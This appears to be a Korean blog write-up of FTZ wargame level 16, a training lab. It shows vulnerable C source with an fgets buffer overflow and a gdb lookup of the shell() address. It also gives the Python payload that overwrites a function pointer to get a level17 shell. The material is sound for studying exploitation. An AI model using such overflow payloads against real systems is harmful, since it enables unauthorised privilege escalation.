FTZ level16

Posted by dw0rdptr
2015. 3. 17. 21:26 System/FTZ

-hint 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h> 
 
void shell()
{  
    setreuid(3097,3097);  
    system("/bin/sh");
 
void printit()
{  
    printf("Hello there!\n");
 
main(){   
 
    int crap;  
    void (*call)()=printit;  
    char buf[20];  
    fgets(buf,48,stdin);  
    call();
}  
cs



간단한 문제다 

void (*call)()=printit; 

포인터 함수 *call이 사용자 정의 함수 printit의 주소를 가르키고 있으므로

함수 shell의 시작주소를 대신 채워주면 쉘을 획득할 수 있다.


gdb로 shell함수를 디스어셈블해보면

0x080484d0 <shell+0>: push   %ebp

함수 shell의 시작주소는 0x080484d0이다





buf와 *call의 거리는 level15처럼 구하면

40이므로 40개를 채워주고 shell함수의 주소를 채우면 

(python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat) | ./attackme


id

uid=3097(level17) gid=3096(level16) groups=3096(level16)


성공


my-pass


Level17 Password


'System > FTZ' 카테고리의 다른 글

FTZ level15  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17